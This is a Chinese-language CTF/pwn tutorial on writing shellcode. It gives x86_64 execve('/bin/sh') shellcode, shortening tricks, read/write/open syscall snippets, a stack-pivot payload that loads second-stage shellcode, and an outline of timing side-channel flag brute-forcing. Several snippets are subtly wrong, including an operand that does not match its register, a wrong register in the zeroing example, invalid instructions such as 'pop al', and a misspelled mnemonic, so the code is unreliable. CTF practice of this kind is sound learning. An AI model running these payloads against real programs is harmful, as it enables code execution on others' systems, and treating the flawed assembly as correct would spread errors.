shellcode

SHELLCODE

shellcode 说到底其实就是系统调用命令,跟ret2syscall是很相似的,但是区别就是,shellcode需要有可执行权限,而ret2syscall一般发生在text段上,自动就具备可执行权限

SHELLCODE分为手动生成和机器生产,

机器生成shellcode

其实在pwntools中就集成了shellcode的生成,比如:

1
shellcode = asm(shellcraft.sh()) #生成用于提权的shllcode

但是一定要注意程序是x86_64的还是i386的,因为shellcraft默认生成32位的

当然还有其他的shellcode

1
shhellcode = asm(shellcraft.cat(f*)) #生成用于打印所有f开头的文件

手写shellcode

这个才是核心,众所周知,机器生产的shellcode唯一的优势是方便,不用手搓,但是也仅此而已,

所以这里介绍一些写shellcode常用的基本的汇编指令(以x86_64汇编为例)

  • pop 寄存器名 –>将栈中的下一个4/8字节数的地址弹入对应寄存器中
  • push 数字或寄存器 –>将对应数字、寄存器中的值压入栈中
  • mov 寄存器a, (数字或寄存器) –> 将对应数字或寄存器中的值赋值给寄存器a
  • xor 寄存器a, (数字或寄存器) –> 将对应数字或寄存器中的值与寄存器a中的值进行异或并将结果存在寄存器a中
  • add 寄存器a, (数字或寄存器) –> 将对应数字或寄存器中的值与寄存器a中的值进行相加并将结果存在寄存器a中
  • sub 寄存器a, (数字或寄存器) –> 将对应数字或寄存器中的值与寄存器a中的值进行相减并将结果存在寄存器a中
  • syscall –>x64系统调用命令(机器码为’’)
  • int 0x80 –>x86系统调用命令
  • ret –>相当于pop eip

接下来就是寄存器的讲解了,我们写shellcode的指令和系统调用都依赖于寄存器中的值

  1. 直接参与系统调用的寄存器:

    RAX、RDI、RSI、RDX、R10、R8、R9

    其中rax是作为syscall调用时的系统调用号,调整rax的值以调用不同的系统函数

    剩下6个寄存器按顺序作为系统调用函数的第n个参数

  2. 间接参与系统调用的寄存器

    RSP、RBP、RIP

    RSP和RBP作为栈顶栈底指针寄存器在pop和push指令的调用上起着重要作用

    RIP则是指令指针寄存器通过其进行指令运行

  3. 基本不参与系统调用的寄存器

    RBX、R11、R12、R13、R14、R15

    他们的作用大概仅限于传值

1
附上linux系统调用号------https://blog.csdn.net/weixin_51055545/article/details/128722431

那么首先让我们写一个用于调用execve(“/bin/sh”,0,0)的shellcode

那么我们需要什么呢? 一个函数,三个参数,所以只需要把对应的值传入就行了,二参和三参很好弄,只需要使用mov指令就行

/bin/sh字符串地址怎么办呢?这时我们就要用到push和rsp的关系了

因为push会将一个值直接压入栈顶,那么执行push后rsp的值就是我们push的这个值的地址

那么我们只要把/bin/sh转换成16进制ascall码push后再把rsp的值赋值给rdi(第一参数)即可

但是push接立即数的话只能push四个字节,所以我们要先把值存到寄存器中再push

不过根据小端序的原理,每个字母需要倒过来,故而

1
/bin/sh  -----  0x0068732f6e69622f

那么就可以下面这样

1
2
3
4
5
6
7
8
9
10
shellcode = '''
mov rbx , 0x0068732f6e69622f;
mov rdi , esp ;
mov rsi,0;
mov rdx,0;
mov rax,59;
syscall;
'''
# 然后asm编码一下就行了,
shellcode = asm(shellcode)

精简

这样生成的shellcode的大小有0x25个字节,但是如果限制了shellcode的长度就没办法使用了

因此我们需要对shellcode的长度进行简化,

而,精简化的方法其实就是将字节长度小的指令,可以混合使用,来替换长度大的

1
2
3
4
5
6
比如: 使用push pop连用来替换mov :
例:mov rbx , 0x0068732f6e69622f;
替换成:push 0x0068732f6e69622f;pop rbx
还可以使用 xor(异或)相同的寄存器来将寄存器置零,
例:mov rsi,0;
替换成:xor rbx,rbx;

依照这个原理,可以修改shellcode为:

1
2
3
4
5
6
7
8
9
10
11
shellcode = asm('''
mov rbx, 0x0068732f6e69622f
push rbx
push rsp
pop rdi
xor esi,esi
xor edx,edx
push 59
pop rax
syscall
''')

长度仅仅0x16 也就是21个字节

一些小妙用

double read

这是我取的名字;就是一般的shellcode的题目会将读入的长度设置的非常短,往往不够,那么我们就可以使用shellcode再次进行一次read,从而可以执行execve(‘/bin/sh’,0,0)

emmm,注意寄存器的值的变化,往往这个是会出现问题的😂

一些常用的shellcode

read(x64)

1
2
3
4
5
6
7
8
9
10
11
12
read = asm(
"""
xor rdi rdi;
push buf_addr;
pop rsi;
push len;
pop rdx len;
push 0;
pop al;
syscall;
"""
)

write(x64)

1
2
3
4
5
6
7
8
9
10
11
12
13
write = asm(
"""
push 1;
pop rdi;
push buf_addr;
pop rsi;
push len;
pop rdx len;
push 1;
pop al;
syscall
"""
)

open(x64)

1
2
3
4
5
6
7
8
9
10
11
open = asm(
"""
push 0x67616c662f;
pop rdi;
push 0;
pop rsi;
push 2;
pop al;
syscall
"""
)

做题时候的一些注意:

假设存在一个

mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);

read(0,buf,0x38);buf在rbp-0x20的位置,现在需要shellcode—>ORW去读取出flag,应该怎么做?我们可以往0x123000这个地址去读shellcode,并且把rsp迁到那里去,jmp_rsp;

所以在这里我们可以这样做

1
2
3
4
pay = asm(shellcraft.read(0,0x123000,0x100)) # 这里是为了方便将shellcode读入,其实换一个可写的段即可
pay += asm("mov rax,0x123000;call rax") # 这里可以看出来是进行函数调用,把0x123000这个地址当成函数来调用
pay = pay.ljust(0x28,b'a')
pay += p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp") #注意这里是需要jmp_rsp的,要不然地址可能会别覆盖成(qword)asm("sub rsp,0x30;jmp rsp"),从而失效

注:一些心得

其实shellcode给我的感觉就是给你一个能直接操作程序的机会,并且它的作用很灵活,它不仅能让攻击者getshell或者get flag还能辅助攻击者去getshell or flag,
接下来是我常用的一些汇编,会不断补充:

常用的汇编:

mov byte ptr [xxx1], xxx2;

向指定内存—->xxx1写入一个字节,内容为xxx2的数据,这部分可以用来分批次写shellcode,

1
2
3
4
>>> print(len(asm("mov byte ptr [rsp+1],0x1")))
5
>>> print(len(asm("mov byte ptr [rax+1],0x1")))
4

jnz,jz,jmp,

这些可以用来帮助自己进行跳转,从而跳到某个函数或者shellcode

XCHG

允许我们交换两个操作数的值,可以交换两个寄存器,寄存器到内存,内存到寄存器的值,效果与mov几乎相同,

ING和DEC

用于操作数加一和减一,操作数可以是内存,也可以是寄存器,

侧信道攻击

不直接对程序进行攻击,而是根据其他信号的变化推测出flag,用于绕过沙箱,

需要几个条件,

1:侧信道爆破需要执行我们编写的shellcode(因为程序中必然无法找到全部对应的gadget),因此能够写入和执行一定字节的shellcode是必要的

2:程序在禁用了execve系统调用后,同时关闭了标准输出流后,才有必要使用侧信道爆破。

3:同时标准错误不能被关闭(stderr 因为我们需要它来反馈信息),还必须要保证read可以从指定文件中读取flag,open或者openat系统调用要保证至少有一个可用。

pwn题目开启沙箱后,我们通常可以采用open、read、write函数输出flag,

但是如果沙箱禁用了write函数,使我们只能利用open和read函数,这时候就要利用侧信道爆破了。

侧信道攻击在pwn中的主要思想就是通过逐位爆破获得flag,一般是判断猜测的字符和flag的每一位进行对比,如果相同就进入死循环,然后利用时间判断是否正确,循环超过一秒则表示当前爆破位爆破字符正确。通常侧信道攻击一般都是通过shellcode来实现的,并且比较的方法最好是使用‘二分法’这样的话节约时间并且效率高